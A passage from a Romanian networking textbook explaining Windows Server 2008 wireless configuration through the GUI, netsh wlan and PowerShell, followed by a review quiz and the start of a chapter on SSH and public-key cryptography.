manual a driverelor pentru aceste componente nu va reui. Acest lucru se ntmpl deoarece
capabilitile de wireless ale lui Windows Server 2008 sunt cumulate ntr-un serviciu wireless,
inactiv n mod implicit. Odat activat, acest serviciu se va ocupa att de managementul
conexiunilor wireless ct i de centralizarea profilurilor care vor permite conectarea
utilizatorilor la reele wireless. Instalarea serviciului e posibil indiferent de prezena unei
interfee wireless n sistem.
Pentru a activa capabilitile de wireless ale lui Windows Server 2008 este necesar
instalarea acestora ca feature al sistemului de operare. Pentru aceasta, se execut paii
urmtori:
Din meniul Start > Administrative Tools > Server Manager sau direct din Quick
Launch se pornete Server Manager n subcategoria Features i se localizeaz Wireless LAN
Service n lista de feature-uri.
Se apas pe Next i se confirm instalarea:
O instalare terminat cu succes va afia urmtorul mesaj, la categoria Results:

5-15: Instalarea serviciului de Wireless terminat cu succes
5.4.2 Configurarea profilurilor wireless
O conexiune configura la o reea wireless este denumit un profil wireless. Modalitile
prin care aceste profiluri pot fi configurate sunt urmtoarele:

1
Network Access Protection: http://technet.microsoft.com/en-us/network/bb545879.aspx
192 | R e e l e L o c a l e

Fereastra Connect to a network, principala metod accesibil utilizatorilor individuali pentru a-
i configura conexiunea la o reea wireless
Politici de grup (Group policy) accesibile administratorilor ntr-un mediu Active Directory
1

pentru a configura centralizat i a distribui configuraia altor calculatoare membre ale
domeniului.
Linie de comand, folosind utilitarul netsh.exe i comanda netsh wlan, ce permite
configurarea manual a reelelor wireless. Netsh permite, de asemenea, exportarea
profilurilor wireless n fiiere xml i importarea lor ulterioar, eventual pe alte sisteme.
5.4.3 Conectarea la o reea wireless
Accesarea interfeei Connect to a network poate fi realizat n mai multe moduri:
Din fereastra Manage network connections, accesibil din Control Panel > Network and
sharing center > Manage network connections.
Din meniul de Connect/Disconnect al ferestrei Manage Wireless Connections, accesibil la
Control Panel > Network and sharing center > Manage wireless
connection.
Dac este prezent, prin clic pe pictograma Network din System Tray, urmat de clic pe opiunea
Connect or disconnect...
Doar pe Windows Vista, prin accesarea opiunii Connect to... din meniul Start.


5-16: Starea conexiunilor (System Tray > Network)


1
http://www.microsoft.com/windowsserver2008/en/us/active-directory.aspx
193 | W i r e l e s s

5-17: Fereastra "Connect to a network"
Fereastra Connect to a network nlocuiete vechea fereastr de Choose a wireless network
din Windows XP SP2. Aceasta suport acum i conexiunile VPN (Virtual Private Network)
precum i conexiunile de tip dial-up, inclusiv PPPoE (Point-to-Point Protocol over Ethernet).
Pentru conectarea la una dintre reelele din list, este suficient un dublu-clic pe reeaua dorit
sau selectarea ei i apsarea pe Connect. Dac s-a configurat o reea de tip non-broadcasting,
aceasta va aprea n list sub numele de Unnamed network iar ncercarea de conectare la ea
va cere introducerea numelui reelei
1
.
Pentru crearea unei noi conexiuni, din fereastra de mai sus se alege opiunea Set up a
connection or network.

5-18: Alegerea tipului de conexiune ce va fi creat
Pentru conectarea la o reea non-broadcasting la pasul precedent se alege Manually
connect to a wireless network i se completeaz parametrii reelei:
Atenie! Dac opiunea Manually connect to a wireless network nu este disponibil, se
recomand verificarea instalrii corecte a adaptorului wireless i identificarea corect a sa din
fereastra Manage network connections.


1
Detectarea unei reele wireless non broadcasting este posibil deoarece unele AP-uri pot fi configurate
astfel nct s trimit cadre de tip beacon avnd cmpul de SSID setat pe valoarea NULL. Mai multe detalii despre
cadrele beacon la http://en.wikipedia.org/wiki/Beacon_frame.
194 | R e e l e L o c a l e


5-19: Configurarea parametrilor pentru o reea wireless non-broadcasting
Informaiile cerute pentru conectare sunt urmtoarele:
Network name: reprezint SSID-ul reelei
Security type: descrie metoda de autentificare n reea. Sunt permise:
No authentication (open)
WEP
WPA:
o Personal
o Enterprise
WPA2:
o Personal
o Enterprise
802.1x: autentificare IEEE 802.1x cu WEP (dynamic WEP)
Autentificarea de tip shared key nu este inclus n list. Aceasta poate fi configurat
ulterior dar Microsoft nu recomand utilizarea ei deoarece ofer un nivel extrem de sczut de
securitate.
Encryption type reprezint metoda folosit pentru criptarea cadrelor de date trimise n reea.
Opiunile disponibile depind de metoda aleas de autentificare:
o Pentru No authentication (open) se poate selecta None
o Pentru autentificarea WEP i 802.1x se poate selecta WEP
o Pentru diverse variante WPA se poate selecta TKIP sau AES.

Opiunile disponibile la criptare depind, de asemenea, i de capabilitile interfeei de
reea wireless i a driverului pe care aceasta l folosete.

Security key / Passphrase: Se introduce cheia WEP n cazul securitii de tip WEP, cheia
partajata WPA sau WPA2 pentru variantele Personal ale acestora, iar pentru variantele
Enterprise i 802.1x, cheia se determin automat la realizarea autentificrii.
Start this connection automatically: Windows se va conecta automat la reea cnd aceasta
este detectat. Altfel, conectarea trebuie facut manual prin fereastra Connect to a network.
195 | W i r e l e s s

Connect even if the network is non broadcasting: Windows va ncerca s se conecteze la reea
chiar i cnd aceasta nu i anun SSID-ul prin broadcast. Se vor trimite cadre de tip probe
request
1
ce reprezint un risc de securitate deoarece acestea conin numele reelei cutate.

5-20: Noua reea wireless adugat cu succes
Dup conectarea cu succes la reeaua specificat, Windows o va afia n fereastra Connect
to a network. Din ecranul de confirmare a crerii noii reele se poate alege opiunea Change
connection settings, ce va permite modificarea parametrilor de securitate i de conectare
automat. Tot aici, la seciunea de securitate, se poate alege opiunea Shared (nedisponibil la
crerea reelei), dei nu este recomandat datorit securitii sczute.
n funcie de tipul de securitate ales, se configureaz fie o cheie de autentificare fie o
metod de autentificare n reea. n cazul din urm, deci la configurarea unei autentificri de
tip WPA-Enterprise, WPA2-Enterprise sau 802.1x, sunt necesare i urmtoarele configurri
ulterioare:
Choose a network authentication method: Se alege o metod EAP (Extensible Authentication
Protocol) i se apas Settings pentru a configura tipul de EAP ales.
Cache user information for subsequent connections to this network: Opiune care specific
faptul c, atunci cnd utilizatorul se deconecteaz din sistem, datele folosite pentru
autentificare i vor fi sau nu terse din registry. n cazul n care sunt terse, datele vor fi cerute
din nou la fiecare autentificare n reea.
5.4.4 Managementul conexiunilor wireless
Dup crearea i/sau detectarea cu succes a reelelor wireless, managementul acestora
poate fi realizat dintr-o interfa specializat pus la dispoziie de Windows Server 2008 i
accesibil prin Control Panel > Network and sharing center > Manage wireless
networks.


1
Mai multe detalii despre tipurile de cadre n wireless la adresa:
http://www.wi-fiplanet.com/tutorials/article.php/1447501
196 | R e e l e L o c a l e


5-21: Fereastra Manage wireless networks
n fereastra Manage wireless networks pot fi vizualizai parametrii cu care au fost
configurate reelele wireless, li se pot modifica proprietile i, bineneles, pot fi terse sau
adugate noi profiluri wireless. De asemenea, tot de aici se pot rearanja n ordinea
preferinelor profilurile wireless configurate, ordine folosit de ctre Windows atunci cnd
sunt detectate una sau mai multe reele wireless.
Dei managementul reelelor wireless poate fi realizat prin interfaa Manage wireless
connections, conexiunea wireless curent poate fi configurat i prin interfaa Manage
network connections, cu diferena c aceasta va afia toate tipurile de conexiuni prezente n
sistem, att cele detectate automat (cum ar fi interfeele Ethernet) ct i cele configurate
manual (spre exemplu, conexiuni Bluetooth sau PPPoE), exemplificate n imaginea 5-22:


5-22: Fereastra Manage network connections
5.4.5 Conexiuni wireless ad hoc
O reea ad hoc
1
mai este denumit i reea computer-to-computer, deoarece
calculatoarele se conecteaz direct, fr a mai folosi dispozitive intermediare ca huburi,
switchuri sau routere. Avantajul unei reele wireless ad hoc este c poate fi instalat practic

1
De fapt, o reea ad hoc presupune o reea wireless i nu are sens n alt context.
197 | W i r e l e s s

oriunde cu destul de mult uurin, poate fi folosit n orice scop (partajarea fiierelor, jocuri
n reea) i permite chiar i partajarea unei conexiuni la Internet.
Pentru a crea o reea ad hoc n Windows Server 2008, se urmeaz secvena urmtoare de
pai:
1. Se deschide interfaa Connect to a network (prezentat n 5.4.3)
2. Se alege Set up a connection or network
3. Din lista tipurilor de conexiuni disponibile, se alege Set up an ad hoc (computer-to-computer)
network i se apas Next.


5-23: Configurarea unei reele ad hoc
4. n fereastra urmtoare se completeaz numele (SSID-ul) reelei, se alege tipul de securitate
implementat (nu orice plac wireless suport WPA2 n mod ad hoc) i se introduce
passphrase-ul reelei.

5-24: Reeaua ad hoc creat cu succes
5. Windows anun faptul c reeaua a fost creat cu succes. Noua reea apare acum n interfaa
Connect to a network iar sistemul se conecteaz automat la ea.


5-25: Reeaua ad hoc nou creat, n interfaa Connect to a network
198 | R e e l e L o c a l e

Atenie! Dup cum s-a menionat mai sus, dup crearea unei reele wireless sistemul se
conecteaz automat la ea, ceea ce implic faptul c orice alt conexiune wireless ce era activ
n acel moment va fi deconectat.
Dac nu se bifeaz opiunea Save this network (figura 5-23) profilul reelei nou create va fi
ters automat n momentul n care ultimul client se deconecteaz de la ea sau cnd cel care a
creat reeaua se deconecteaz sau iese din raza celorlaltor clieni.
1

5.5 Administrarea n linie de comand i PowerShell
5.5.1 Managementul serviciului wireless prin netsh wlan
netsh este un utilitar disponibil n versiunile de Windows 2000, XP, 2003 i 2008/Vista.
Netsh.exe poate fi folosit pentru configurarea interfeelor de reea, a protocoalelor de rutare,
poate aplica filtre, poate modifica rute i poate seta o multitudine de parametri ai interfeelor
de reea.
Parametrul wlan reprezint un context al comenzii netsh i este folosit mpreun cu
aceasta pentru a efectua modificri asupra configuraiilor reelelor wireless.
Pentru a folosi comanda, se introduce netsh wlan fie n promptul de comand cmd.exe,
fie n PowerShell.
5.5.1.1 Comenzi de tip show
Pentru o list complet a parametrilor ce pot fi folosii mpreun cu forma show a netsh
wlan, se introduce una dintre comenzile:
PS C:\Users\Administrator> netsh wlan show
PS C:\Users\Administrator> netsh wlan show ?
O serie important de informaii sunt oferite de comanda netsh wlan show drivers;
comanda afieaz capabilitile driverului interfeei wireless instalate n sistem. Se pot
identifica tipurile de standarde suportate, protocoalele de securitate ce pot fi folosite, precum
i informaii despre driverul propriu-zis. Opional, se poate aduga comenzii parametrul
interface, cu sintaxa interface=Wireless Network Connection, prin care se specific o
anumit interfa wireless:
PS C:\Users\Administrator> netsh wlan show drivers

Interface name: Wireless Network Connection

Driver : Dell Wireless 1390 WLAN Mini-Card
Vendor : Broadcom
Provider : Broadcom
Date : 10/12/2007
Version : 4.170.25.17
[...]
Type : Native Wi-Fi Driver
Radio types supported : 802.11g 802.11b
FIPS 140-2 mode supported : No
Authentication and cipher supported in infrastructure mode:
Open None
Open WEP
Shared None
Shared WEP
WPA2-Enterprise TKIP
WPA2-Personal TKIP
WPA2-Enterprise CCMP
WPA2-Personal CCMP
Unknown TKIP


1
Putei citi un articol interesant despre pericolele reelelor ad hoc la
http://www.windowsecurity.com/whitepapers/Dangers-Ad-Hoc-Wireless-Networking.html
199 | W i r e l e s s

Unknown CCMP
WPA-Enterprise TKIP
WPA-Personal TKIP
WPA-Enterprise CCMP
WPA-Personal CCMP
Authentication and cipher supported in ad-hoc mode:
WPA2-Personal CCMP
Open None
Open WEP
[...]
5-26: Capabilitile interfeei wireless
Pentru afiarea interfeelor wireless din sistem n contextul reelelor la care acestea sunt
conectate, se folosete comanda netsh wlan show interfaces:
PS C:\Users\Administrator> netsh wlan show interfaces

There is 1 interface on the system:

Name : Wireless Network Connection
Description : Dell Wireless 1390 WLAN Mini-Card #3
GUID : 6fe1ef65-14ac-4a72-bf4b-52a821535ace
Physical Address : 00:19:7e:11:91:64
State : connected
SSID : DLINK_WIRELESS
BSSID : 00:19:5b:22:31:a4
Network Type : Infrastructure
Radio Type : 802.11g
Authentication : Open
Cipher : None
Connection Mode : Auto Connect
Channel : 6
Receive Rate (Mbps) : 54
Transmit Rate (Mbps) : 54
Signal : 60%
Profile : DLINK_WIRELESS
Pentru afiarea listei reelelor wireless configurate, echivalentul listei obinute prin
interfaa Connect to a network, se poate folosi comanda netsh wlan show profiles:
PS C:\Users\Administrator> netsh wlan show profiles

Profiles on interface Wireless Network Connection:

Group Policy Profiles (read only)
---------------------------------
<None>

User Profiles
-------------
All User Profile : DLINK_WIRELESS
All User Profile : ccielab
All User Profile : nnet
Afiarea unei liste a reelelor wireless detectate se face prin comanda netsh wlan show
networks:
PS C:\Users\Administrator> netsh wlan show networks

Interface Name : Wireless Network Connection
There are 5 networks currently visible.

SSID 1 : YoGi
Network type : Infrastructure
Authentication : WPA-Personal
Encryption : CCMP

SSID 2 : ccielab
Network type : Infrastructure
Authentication : WPA2-Personal
Encryption : CCMP

SSID 3 : Bee
Network type : Infrastructure
Authentication : Open
Encryption : WEP
[...]
200 | R e e l e L o c a l e

Comanda netsh wlan show mai suport parametri ca autoconfig, blockednetworks,
filters, settings, tracing. Pentru a afia toate informaiile disponibile pentru toate
interfeele wireless i toate reelele, detectate sau configurate, se folosete parametrul all:
netsh wlan show all
5.5.1.2 Salvarea, ncrcarea i tergerea profilurilor
Netsh ofer posibilitatea exportrii n fiiere xml a configuraiilor reelelor wireless. Pentru
a exporta o astfel de configuraie se folosete sintaxa comenzii netsh wlan export profile
folder= cu urmtorii parametri:
folder = cale i nume fiier; poate fi o cale absolut sau relativ
name = opional, numele profilului de exportat
interface = opional, numele interfeei pe care profilul este configurat
Dac se include parametrul name, atunci se va exporta doar un singur profil. Dac se
specific parametrul interface, se salveaz toate profilurile configurate pe acea interfa.
Lipsa parametrului interface are ca efect exportarea tuturor profilurilor din sistem.
Exemplu de utilizare, cu salvarea profilurilor n directorul curent (.):
PS C:\Users\Administrator> netsh wlan export profile folder=.

Interface profile "DLINK_WIRELESS" is saved in file ".\Wireless Network Connection-
DLINK_WIRELESS.xml" successfully.

Interface profile "ccielab" is saved in file ".\Wireless Network Connection-ccielab.xml"
successfully.

Interface profile "nnet" is saved in file ".\Wireless Network Connection-nnet.xml"
successfully.
ncrcarea configuraiilor din fiierele xml exportate se face prin utilizarea parametrului
add profile, ca n urmtorul exemplu:
netsh wlan add profile filename= C:\"my_wlan_profile.xml" user=all interface= "Wireless
Network Adapter"
Opional, mai pot fi folosii doi parametri suplimentari: parametrul user, care dac
rmne nespecificat, import setrile automat pentru utilizatorul curent sau poate primi una
dintre valorile all sau current, iar parametrul interface pentru a specfica o anumit
intrefa wireless pentru care profilul s fie aplicat.
La specificarea intefeei, se pot folosi simbolurile ? i * (wildcard) pentru aproximarea
denumirilor.
Exportarea modificrilor efectuate se poate realiza i prin parametrul dump, care va
exporta un script ce poate fi executat pentru a reface o configuraie intermediar, spre
exemplu:
netsh wlan dump > c:\wlandump.txt
5.5.1.3 Conectarea i deconectarea
O alternativ la interfaa Connect to a network o reprezint comenzile de conectare i
deconectare de la reele wireless utilizabile prin intermediul lui netsh wlan. Att conectarea
ct i deconectarea se realizeaz prin intermediul numelui profilului configurat pentru acea
reea.
Comenzile se folosesc n modul urmtor:
connect ssid=linksys name=linksys_profile interface=Wireless Network Adapter
Comanda anterioar realizeaz conectarea la o reea iar urmtoarea, deconectarea:
disconnect interface=Wireless Network Adapter
201 | W i r e l e s s

Dac n sistem este instalat doar o singur interfa wireless, parametrul interface
poate s lipseasc. n cazul n care se ncearc conectarea la o reea folosindu-se o interfa
care este deja conectat la o alt reea, se va realiza deconectarea de la reeaua anterioar i
conectarea la cea dat ca parametru. Conectarea la aceeai reea la care interfaa este deja
conectat va returna un mesaj care anun conectarea cu succes, dar starea conexiunii nu va fi
modificat n niciun fel.
5.5.1.4 Filtre i profiluri
netsh ofer posibilitatea de a aplica filtre pe baza SSID-urilor reelelor wireless. Cu alte
cuvinte, accesul (conectarea) la anumite reele poate fi blocat sau permis n mod explicit.
Pentru managementul filtrelor, se pot folosi parametrii add filter i delete filter ca n
exemplele urmtoare:
netsh wlan add filter permission=block ssid=linksys networktype=infrastructure
Comanda de mai sus realizeaz adugarea unui filtru care interzice conectarea la reele de
tip infrastructur cu numele linksys. Permisiunile posibile sunt de tipul allow, block sau
denyall. De asemenea, tipul reelei dat prin parametrul networktype poate fi
infrastructure sau adhoc.
De asemenea, se folosete o comand similar pentru tergerea unui filtru:
netsh wlan delete filter permission=block ssid=linksys networktype=infrastructure
Att n cazul adugrii ct i n cazul tergerii de filtre, utilizarea parametrului ssid este
necesar doar pentru valorile de allow sau block ale parametrului permission. Dac se
creeaz sau se terge un filtru cu permisiunea denyall, parametrul ssid nu trebuie inclus.
Definirea profilurilor wireless este, de asemenea, posibil prin intermediul lui netsh wlan.
Pentru a aduga sau terge profiluri se folosesc parametrii add profile sau delete profile,
ca n exemplele urmtoare, pentru adugare, respectiv, tergere de profiluri:
netsh wlan add profile filename=my_wlan_profile.xml interface=Wireless Network
Adapter user=all

netsh wlan delete profile name=linksys_profile interface=Wireless Network Adapter
user=all
Adugarea profilurilor necesit specificarea fiierului din care s fie ncrcate setrile. Din
acest fiier se ncarc i numele propriu-zis al profilului, ce este folosit mai apoi pentru
comanda de tergere. Trebuie inut cont de faptul c setrile stocate n fiiere de tip profil nu
sunt ncrcate dect la comenzi de tip add profile, configuraia curent fiind stocat n
sistemul de operare, astfel c modificarea unui fiier profil fr ncrcarea lui nu va avea niciun
efect (cu alte cuvinte, nu sunt considerate fiiere de configurare).
Parametrul interface este opional n ambele cazuri i cere folosirea unui nume de
interfa conform modului n care ele sunt afiate prin comanda netsh wlan show
interfaces. n momentul folosirii lui, adugarea sau tergerea profilurilor va avea efect doar
pe interfaa respectiv. De asemenea, specificarea parametrului user este opional i va
efectua modificrile pentru utilizatorul respectiv. Altfel, comenzile de creare sau tergere
profiluri se vor aplica doar utilizatorului curent.
Pentru tergerea profilurilor, omiterea parametrului interface va avea ca efect tergerea
profilului respectiv de pe toate interfeele active.
5.5.1.5 Comenzi de tip set
Comanda set autoconfig are rolul de a activa sau de a dezactiva serviciul de
autoconfigurare pe o anumit interfa. Dac serviciul de autoconfigurare este activ, Windows
202 | R e e l e L o c a l e

Server 2008 se va conecta automat la reelele wireless prin interfaa corespunztoare. Implicit,
acest serviciu este activ.
Un exemplu de utilzare este urmtorul:
netsh wlan set autoconfig enabled=yes inteface=Wireless Network Adapter
Parametrul enabled poate accepta valoarea yes sau no, iar menionarea interfeei este
obligatorie.
Comanda set profileorder ofer posibilitatea de a atribui prioriti profilurilor
configurate pentru a defini ordinea n care se prefer conectarea prin acestea.
Exemplul urmtor definete prioritatea 2 pentru un anumit profil de pe o anumit
interfa:
netsh wlan set profileorder name=linksys_profile interface=Wireless Network Adapter
priority=2
O valoare mai mic reprezint o prioritate mai buna, iar dac valoarea parametrului
priority este setat pe 1 sau 0, profilul declarat va trece automat pe prima poziie, indiferent
dac mai exista un altul configurat cu aceeasi prioritate.
Comanda set tracing permite activarea sau dezactivarea modului n care serviciul
wireless ine evidena (n jurnalele de sistem) a evenimentelor. n mod implicit, modul tracing
este dezactivat.
Pentru activarea tracing-ului se folosete comanda:
netsh wlan set tracing mode=yes
Activarea sau dezactivarea modului tracing se face prin specificarea parametrului mode
mpreun cu valorile yes sau no. Deoarece comportamentul implicit al tracing-ului este de a se
dezactiva n momentul restartrii sistemului, pentru meninerea sa activ din momentul
autentificrii utilizatorilor este necesar includerea modului persistent.
5.5.2 Managementul serviciului wireless prin PowerShell
Pentru a genera o list sub form de tabel a tuturor interfeelor de reea (inclusiv cele
virtuale) folosind PowerShell, se utilizeaza comanda Get-WmiObject n modul urmtor:
PS C:\Users> Get-WmiObject win32_networkadapter | Format-Table

ServiceName MACAddress AdapterType DeviceID Name
----------- ---------- ----------- -------- ----
[...]
bcm4sbxp 00:13:D4:9E:5... Ethernet 802.3 6 Broadcom 440x...
BCM43XX 00:19:7E:11:9... Ethernet 802.3 7 Dell Wireless...
[...]
BTWDNDIS 00:19:7D:E1:A... Ethernet 802.3 18 Bluetooth LAN...
[...]
5-27: Interfeele de reea listate prin WMI
Din lista obinut mai sus este important de identificat numele interfeei wireless
mpreun cu identificatorul su (cmpul DeviceID) pentru a o putea selecta cu uurin n
continuare:
PS C:\Users> Get-WmiObject win32_networkadapter | where {$_.DeviceId -eq 7}


ServiceName : BCM43XX
MACAddress : 00:19:7E:11:91:64
AdapterType : Ethernet 802.3
DeviceID : 7
Name : Dell Wireless 1390 WLAN Mini-Card #3
NetworkAddresses :
Speed : 11000000
203 | W i r e l e s s

Rezultatul lui Get-WmiObject win32_networkadapter a fost trimis prin operatorul pipe
(|) instruciunii where, care selecteaz doar intrrile ce corespund condiiei din parantez
(cmpul DeviceId al obiectului curent trebuie s fie 7). Pentru a efectua n continuare operaii
asupra interfeei selectate, ca obiect, este mai uor s se pstreze o referin asupra obiectului
returnat ntr-o variabil:
$my_wireless = Get-WmiObject win32_networkadapter | where {$_.DeviceId -eq 5}
Dup ce s-a obinut referina la obiectul creat, acestuia i se pot seta diferite proprieti sau
i se pot apela metodele. Pentru o list complet a proprietilor i metodelor disponibile se
poate trimite obiectul nou creat comenzii Get-Member:
PS C:\Users\Administrator> $my_wireless | Get-Member
Comanda de mai sus returneaz aproximativ 60 de metode i proprieti ale interfeei de
reea. Una dintre utilizrile simple ale lor reprezint apelarea metodelor
$my_wireless.Enable() sau $my_wireless.Disable().
204 | R e e l e L o c a l e

ntrebri
1. Cel mai popular standard WLAN, n momentul de fa, este:
802.11a
802.11b
802.11g
802.11n

2. Dezavantajul undelor din banda de 2,4 GHz fa de cele din banda de 5 GHz este:
penetreaz mai greu materialele
sunt foarte nocive pentru organismele vii
costul de producie ale echipamentelor este mai mare
interferenele sunt mai mari

3. Cte reele 802.11b (11 Mbps) pot funciona, fr interferene, n aceeai raz de
aciune n banda ISM de 2,4 GHz ?
1
2
3
4

4. n ce mod de funcionare trebuie configurat placa de reea cu ajutorul utilitarului
iwconfig pentru a se putea realiza capturi de trafic:
Monitor
Managed
Ad-hoc
Promiscuous

5. Care dintre urmtoarele metode ofer cel mai mic nivel de securitate:
Filtrarea pe baz de MAC
Eliminarea SSID broadcast
Securitatea WEP
Securitatea WPA2

6. Care din urmtoarele utilitare pot fi folosite pentru configurarea temporar a
parametrilor de nivel 2 ai unei reele wireless.

Ifconfig
iproute2
iwconfig
route

7. Tehnica folosit n protocolul wireless pentru acces la mediu este:

CSMA/CD
CSMA/CA
Wireless CSMD
CSMW
205 | W i r e l e s s


8. Care din urmtoarele standarde este un standard de Wireless MAN ?
802.11n
802.13z
802.3ab
802.13e

9. Care din urmtoarele dispozitive nu poate asocia clieni la o reea infrastructur?
Access point
Router wireless
Bridge
Controller wireless

10. Undele wireless sunt unde de tip:
Microunde
Unde radio de nalt frecven
Ultraviolete
Unde audio

206 | R e e l e L o c a l e

6 Securitate i monitorizare
Ce se nva din acest capitol?
Funcionarea protocolului SSH
Configurarea de baz i avansat a protocolului SSH
Funcionarea unui firewall
Configurarea de baz i avansat de filtrare de pachete
Configurarea Wireshark
Configurare snort
Configurare Windows Firewall
Monitorizare n Windows
Cine este...
Bruce Schneier este un specialist n securitate. Schneier este autorul Applied
Cryptography i Practical Cryptography. Schneier a proiectat sau contribuit la
proiectarea mai multor algoritmi de criptare precum Blowfish, Twofish, Helix. n acest
moment, Schneier este CSTO la BT Counterpane, companie pe care a nfiinat-o.
Daniel J. Bernstein este matematician i programator. Actualmente este profesor la
Universitatea din Illinois. Bernstein este autorul qmail, publicfile i djbdns. Bernstein a
publicat un numr important de articole n matematic. Bernstein este autorul bibliotecii
matematice djbfft folosit pentru calculul FFT.
Theo de Raadt este fondatorul i conductorul proiectelor OpenBSD i OpenSSH. De
Raadt a fondat OpenBSD dup ce a prsit proiectul NetBSD. Proiectelor OpenBSD i
derivate sunt cunoscute pentru preocuparea pentru securitate. O personalitate abraziv,
Theo de Raadt a avut conflicte cu ali membri din comunitatea open-source, dar i sunt
recunocute meritele n promovarea driverelor free software i a modelului deschis de
dezvoltare.
6.1 Secure Shell (SSH)
SSH (Secure Shell) este un protocol utilizat pentru accesul la distan i pentru executarea
comenzilor pe o maina de la distan. A fost conceput pentru a nlocui rlogin, rsh i
telnet i pentru a asigura comunicaie criptat ntre dou staii ce comunic ntr-o reea
nesigur, aa cum este Internetul. Prin canalul oferit pot fi redirectate i conexiuni X11 i
porturi arbitrare TCP/IP. SSH utilizeaz conexiuni TCP, componenta server ascultnd pe portul
22.
Aa cum s-a menionat i mai sus, SSH ofer o comunicaie criptat ntre dou staii,
criptarea oferind datelor confidenialitate i integritate. SSH utilizeaz criptografia cu chei
publice pentru autentificarea staiilor ce doresc s se conecteze i s execute comenzi la
distan, conectarea realizndu-se pe baza unui nume de utilizator i a unei parole. Sunt
suportate urmtoarele metode de criptare: IDEA, DES, 3DES, ARCFOUR, BLOWFISH i TSS
1
,
implicit folosindu-se IDEA.

1
Capitolul de Securitate din Computer Networks, ediia a patra, Tanenbaum.
207 | S e c u r i t a t e i m o n i t o r i z a r e


6-1: Conexiune SSH criptat
n prezent, exist dou versiuni ale acestui protocol. Prima versiune, SSH-1, a fost lansat
n 1995, ctignd rapid popularitatea utilizatorilor. n 1996, apare SSH-2, o rescriere integral
a primei versiuni, incompatibil cu prima versiune, aducnd mbuntiri substaniale n
procesul de schimbare a cheilor i n asigurarea integritii datelor. Principalele diferene
dintre cele dou versiuni sunt listate n tabelul de mai jos:

Caracteristici SSH v1 SSH v2
Structur
O singur component care
se ocup de transport,
autentificare i sesiune
Componente separate
pentru transport,
autentificare i sesiune
Suport pentru certificate Nu Da
Modificarea periodic a
cheilor de sesiune
Nu Da
Verificarea integritii
mesajelor
Folosete verificarea CRC-32
care poate fi atacat cu
atacul pe baz de inserie
1

Folosete un algoritm de
criptare/decriptare puternic
6.1.1 Protocolul SSH
6.1.1.1 Instalare
Cea mai popular implementare a protocolului SSH o reprezint pachetul OpenSSH, un
proiect open source, lansat i creat de cei de la OpenBSD. n prezent, cea mai nou versiune de
OpenSSH este 4.7p1, lansat pe 4 septembrie 2007.
Pachetul ssh este compus dintr-un server (sshd), un client (ssh - disponibil implicit pe
majoritatea distribuiilor) i un set de utilitare, pentru gestiunea cheilor. n general sshd este
pornit de scripturile de iniializare ale sistemului i ruleaz permanent n background.
Instalarea serverului SSH include instalarea unor module adiionale cum ar fi:
sshd componenta server
ssh-keygen utilitar folosit pentru generarea cheilor
ssh-keyscan utilitar folosit pentru administrarea cheilor publice
scp utilitar pentru copierea sigur de fiiere
ssh-agent componenta folosit pentru salvarea cheilor private etc.
root@myr:~# apt-get install ssh
Reading package lists... Done
Building dependency tree... Done
The following extra packages will be installed:
openssh-server
Suggested packages:

1
https://honor.trusecure.com/pipermail/firewall-wizards/1998-June/002845.html
208 | R e e l e L o c a l e

rssh
The following NEW packages will be installed:
openssh-server ssh
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
Need to get 206kB of archives.
After unpacking 586kB of additional disk space will be used.
Do you want to continue [Y/n]? y
[...]
Setting up openssh-server (4.2p1-7ubuntu3) ...
Creating SSH2 RSA key; this may take some time ...
Creating SSH2 DSA key; this may take some time ...
* Restarting OpenBSD Secure Shell server... [ ok ]

Setting up ssh (4.2p1-7ubuntu3) ...
Odat instalat, serverul SSH este pornit automat. Pentru pornirea sau repornirea sa se
poate folosi scriptul /etc/init.d/ssh.
root@myr:~# /etc/init.d/ssh -h
Usage: /etc/init.d/ssh {start|stop|reload|force-reload|restart}
6.1.1.2 Funcionarea protocolului SSH
6.1.1.2.1 Criptografia cu chei publice
Criptografia reprezint procesul de transformare a unui text clar ntr-un text cifrat. Ea st
la baza multor servicii i mecanisme de securitate folosite n Internet, folosind metode
matematice pentru transformarea datelor, cu intenia de a ascunde coninutul lor sau de a le
proteja mpotriva modificrii. Securizarea comunicaiilor n Internet poate fi comparat cu
semnarea unei scrisori i trimiterea acesteia ntr-un plic sigilat. Semntura d autenticitatea
scrisorii, iar plicul sigilat i confer acesteia confidenialitatea necesar.
Electronic, confidenialitatea este asigurat prin criptarea mesajului cu o cheie secret
folosind un algoritm asociat. Versiunea criptat a mesajului poate fi citit de destinatar numai
dac acesta posed cheia secret i algoritmul de decriptare.
Exist dou tipuri de sisteme criptografice:
simetrice (cu chei secrete), care folosesc aceeai cheie att la criptarea ct i la decriptarea
mesajelor.
asimetrice (cu chei publice), care folosesc chei distincte de criptare i decriptare. Una din chei
este inut secret i este cunoscut doar de proprietarul ei. A doua cheie (perechea ei) este
fcut public, deoarece este imposibil deducerea unei chei din cealalt.
Una dintre metodele de autentificare folosit de protocolul SSH este bazat pe algoritmul
RSA (Rivert-Shamir-Adleman). Publicat nc din 1977, RSA este un algoritm folosit pentru
criptografia cu chei publice.
Criptografia cu chei publice funcioneaz n modul urmtor: o persoan care dorete s
primeasc mesaje secrete deine dou chei, una public i una privat. Cheia public poate fi
afiat pe pagina Web personal sau fcut public printr-un alt mijloc, aceasta putnd fi
vzut de ctre oricine. Cheia privat, n schimb, va fi inut secret pe staia local. Dac n
aceste condiii cineva va dori sa trimit mesaje secrete acestei persoane, va lua cheia public
afiat pe pagina Web personal i va cripta mesajul. Cnd mesajul va ajunge la destinaie,
persoana ce deine cheia privat (perechea cheii publice care a fost utilizat n criptarea
mesajului trimis) va decripta mesajul cu ajutorul acesteia. n absena cheii private mesajul nu
va putea fi decriptat, astfel nct numai destinatarul lui de drept l va putea citi.
n procesul de instalare a serverului, va fi creat implicit o pereche de chei (public i
privat), fiecare cheie fiind stocat ntr-unul dintre fiierele: /etc/ssh/ssh_host_rsa_key i
/etc/ssh/ssh_host_rsa_key.pub. n fiierul ssh_host_rsa_key.pub este salvat cheia
public, iar n fiierul ssh_host_rsa_key cheia privat.

209 | S e c u r i t a t e i m o n i t o r i z a r e

6.1.1.2.2 Stabilirea conexiunii
Fiecare staie (client) are o cheie privat RSA, host key (n mod normal pe 1024 de bii). n
plus, atunci cnd este pornit, daemon-ul ssh (sshd) genereaz automat o a doua cheie, server
key (pe 768 de bii). Aceasta este regenerat din or n or dac a fost folosit i nu este
pstrat niciodat pe disc. De fiecare dat cnd un client iniiaz o conexiune, daemon-ul i
trimite host key i server key (care este public). Clientul compar host key primit cu cea din
